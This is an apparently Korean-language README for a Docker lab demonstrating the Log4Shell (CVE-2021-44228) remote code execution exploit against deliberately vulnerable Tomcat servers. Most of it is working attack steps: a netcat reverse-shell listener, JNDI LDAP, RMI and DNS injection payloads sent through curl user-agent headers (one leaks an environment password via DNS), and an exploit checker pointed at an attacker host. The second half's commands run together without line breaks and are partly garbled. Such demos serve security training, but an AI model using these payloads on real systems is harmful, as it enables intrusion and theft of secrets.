
CVE-2021-44228 Log4Shell을 위한 Docker 기반 LDAP RCE 익스플로잇 데모
포트 8080의 데모 Tomcat 8 서버에는 취약한 앱(log4shell)이 배포되어 있으며, 서버는 user-agent 공격에도 취약합니다.
이 데모의 원격 익스플로잇 앱은 https://github.com/kozmer/log4j-shell-poc 에서 찾은 것을 기반으로 합니다.
이 데모 tomcat 서버(Tomcat 8.5.3, Java 1.8.0u51)는 로깅에 Log4J2를 사용하도록 재구성되었습니다(비표준 구성).
새로운 Bitnami 서버가 이제 포트 8888에서 제공됩니다. 이 서버 역시 Log4J2 로깅으로 구성되어 있으며 Tomcat 9.0.55 및 OpenJDK 11.0.13을 실행합니다.
Tomcat 9 / Java 11 서버에 대한 RMI 익스플로잇은 여기에서 설명합니다: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (2019년 1월 3일) 작성자: Michael Stepankin
탐지 스크립트는 user-agent 취약점을 확인하며, 다음에서 가져온 것입니다: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
이 코드는 Docker와 Docker Compose가 필요합니다.
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# POC_ADDR is the address of the cve-poc container
# LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}nc 리스너에서 연결 확인nc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/ping 대상에 대한 명령줄 인자에 문제가 있어서 직접 컴파일해야 합니다.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2